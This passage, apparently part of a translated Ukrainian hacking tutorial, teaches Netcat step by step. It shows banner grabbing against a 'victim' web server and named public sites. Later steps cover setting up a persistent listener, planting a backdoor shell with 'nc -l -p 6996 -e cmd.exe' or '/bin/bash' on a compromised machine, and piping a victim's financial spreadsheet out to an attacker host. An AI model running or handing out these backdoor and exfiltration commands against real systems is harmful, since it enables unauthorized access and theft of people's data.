· nc -h
Як Ви можете бачити, основний синтаксис для Netcat полягає в наступному.
Щоб підключитися до іншої машини:
· nc options host IP address port
Для прослуховування вхідних з'єднань:
· nc -l -p port
Крок 2: Використайте Netcat для підключення до віддаленої системи
Давайте використаємо Netcat для підключення до віддаленої системи. У нашому випадку, постараємося підключитися до веб-сервера через порт 80. Набираємо:
· nc 192.168.1.105 80
Це дає нам з'єднання TCP, за замовчуванням, до веб-сервера (порт 80) на 192.168.1.105. Тепер, все, що ми вводимо, буде спрямоване безпосередньо на веб-сервер, коли ми натиснемо Enter.
Крок 3: Використайте Netcat, щоб захватити банер для відбитків пальців ОС
Як тільки ми отримали зв'язок TCP з веб-сервером, ми можемо використовувати Netcat, щоб захопити банер веб сервера для ідентифікації, яке програмне забезпечення працює на веб-сервері жертви.
Пам'ятайте, що, перш ніж атакувати будь-яку систему, ми повинні взнати якомога більше про жертву. Netcat може допомогти нам з цим завданням, захоплюючи банери, які веб-сервери обслуговують для нових підключень.
Тепер, коли у нас є зв'язок, ми можемо захопити банер з веб-сервера за допомогою команди:
· HEAD / HTTP/1.0
Будьте обережні і скопіюйте в точності, як набрав його автор, з косою рискою і пробілами.
Натисніть Enter кілька разів, і веб-сервер відповість своїм банером, повідомивши нам, яке його програмне забезпечення запущене. У нашому випадку, ми можемо бачити, що веб-сервер працює під управлінням Microsoft IIS 6.0.
Ми можемо використати цю техніку також на інших загальнодоступних веб-сайтах. Давайте спробуємо на деяких широко відомих веб-сайтах і подивитися, яке програмне забезпечення вони використовують на веб-сервері. По-перше, давайте спробуємо веб-сайт wonderhowto.com. Коли ми пропінгуємо wonderhowto.com, то побачимо, що IP-адрес 98.129.110.26. Таким чином, можна потім ввести:
· nc 98.129.110.26 80
Після того, як буде зв'язок, ми можемо захопити банер веб-сервера, знову набравши:
· HEAD / HTTP/1.0
А потім натисніть Enter два або три рази.
Як бачимо, wonderhowto.com працює на Microsoft-IIS/7.5.
Якщо ми спробуємо те ж саме з cnn.com, то отримаємо результати, наведені нижче:
Цікаво, cnn.com працює на nginx - веб сервері з відкритим вихідним кодом, який за дуже короткий проміжок часу досяг в глобальному масштабі загального числа установок Microsoft IIS (Apache, як і раніше, використовують понад 60% веб-серверів на планеті).
Йдіть далі і спробуйте його на інших веб-сайтах і з'ясуйте, які сервери вони використовують.
Крок 4: Використайте Netcat для прослуховування підключень
Тепер давайте використаємо netcat, щоб створити слухача на віддаленій системі. Припустимо, що у нас є Windows Server, на якому ми встановили netcat. Тепер ми можемо ввести наступне, щоб відкрити netcat слухача на порту 6996 (це може бути будь-який порт) у цій системі:
· nc - l -p 6996
Так створили "слухача", який може підключитися до нашого дозвілля. Зверніть увагу, що на системах Windows, ми можемо запустити цю ж команду з верхнім регістром L і це створить постійного слухача, який відкриється, навіть якщо система буде перезавантажена.
Крок 5: Створіть Backdoor
Тепер давайте створимо бекдор на зараженій системі, щоб ми могли повернутися в будь-який час. Команда буде незначно відрізнятися, залежно від того, яку систему, Linux чи Windows, атакуємо.
Для Windows ми використовуємо:
· nc -l -p 6996 -e cmd.еxe
Для Linux використовуємо:
· nc -l -p 6996 -e /bin/bash
Це відкриє слухача на системі, яка буде "трубою" команди оболонки або оболонки Linux Bash до під’єднаної системи. Тепер на нашій атакуючій системі ми вводимо:
· nc 192.168.1.105 6996
Як Ви можете бачити, командний рядок Windows провів по трубопроводу через наше підключення netcat безпосередньо до нашої атакуючої системи! Ми маємо цю коробку!
Крок 6: Копіюйте файли (exfiltrate) з мішені
Netcat також може бути використаний для фільтрування файлів і даних від жертви. Давайте уявимо, що є дані на системі жертви, які ми хочемо. Можливо, фінансові дані або дані, що зберігаються в базі даних. Ми можемо використати стелс-підключення для повільного копіювання цих даних на нашу атакуючу систему. У наведеному прикладі будемо фільтрувати файл з ім'ям financialprojections.xls, ймовірно Excel файл з фінансових прогнозів.
З системи джерела вводимо:
· type financialprojections.xls | nc 192.168.1.104 6996
Ця команда говорить: відобразити файл financialprojections.xls, а потім передати його по каналу (|) до netcat (nc) з IP-адресою 192.168.1.104 через порт 6996.
З системи призначення ми набираємо:
· nc -l -p 6996 > financialprojections.xls
Ця команда говорить: створити слухача (L) на порту (р) 6996, а потім відправити дані, отримані на цьому слухачеві у файл з ім'ям financialprojections.xls.
Ми можемо бачити на скріншоті нижче, що файл був скопійований через наше з'єднання netcat через порт 6996 на нашу атакуючу машину!
Це лише невеликий приклад того, що може зробити ця потужна маленька програма. Коли Ви об'єднаєте її з деякими основними навичками створення сценаріїв, то можете тільки уявити собі, які неймовірні речі зможете робити!